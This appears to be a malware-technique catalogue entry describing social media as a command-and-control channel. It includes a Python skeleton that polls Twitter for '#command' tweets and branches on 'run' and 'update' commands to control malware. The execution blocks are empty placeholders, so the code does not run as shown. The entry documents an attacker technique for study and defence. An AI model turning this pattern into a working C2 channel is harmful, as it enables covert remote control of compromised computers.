(Python) C2 via Social Networks by Thomas Roccia (fr0gger)

Created the Tuesday 13 December 2022. Updated 1 month, 3 weeks ago.


This code uses the tweepy library to access the Twitter API and search for tweets containing the specified keyword (in this case, #command). It then iterates over the resulting tweets and checks for specific commands, such as run and update. You can replace the code in the if and elif blocks with your own code to execute the corresponding commands.

Note that this is just an example, and there are many different ways that Twitter could be used as a C&C channel. This code should not be used in production without further testing and security measures.


            import tweepy

# Replace with your Twitter API keys
consumer_key = "YOUR_CONSUMER_KEY"
consumer_secret = "YOUR_CONSUMER_SECRET"
access_key = "YOUR_ACCESS_KEY"
access_secret = "YOUR_ACCESS_SECRET"

# Authenticate with Twitter
auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
auth.set_access_token(access_key, access_secret)
api = tweepy.API(auth)

# Search for tweets with the specified keyword
tweets = api.search("#command")

# Iterate over the tweets and execute the commands
for tweet in tweets:
  command = tweet.text.split(" ")[1]
  if command == "run":
    # Run the specified command
    # Replace with your code here
  elif command == "update":
    # Update the malware
    # Replace with your code here
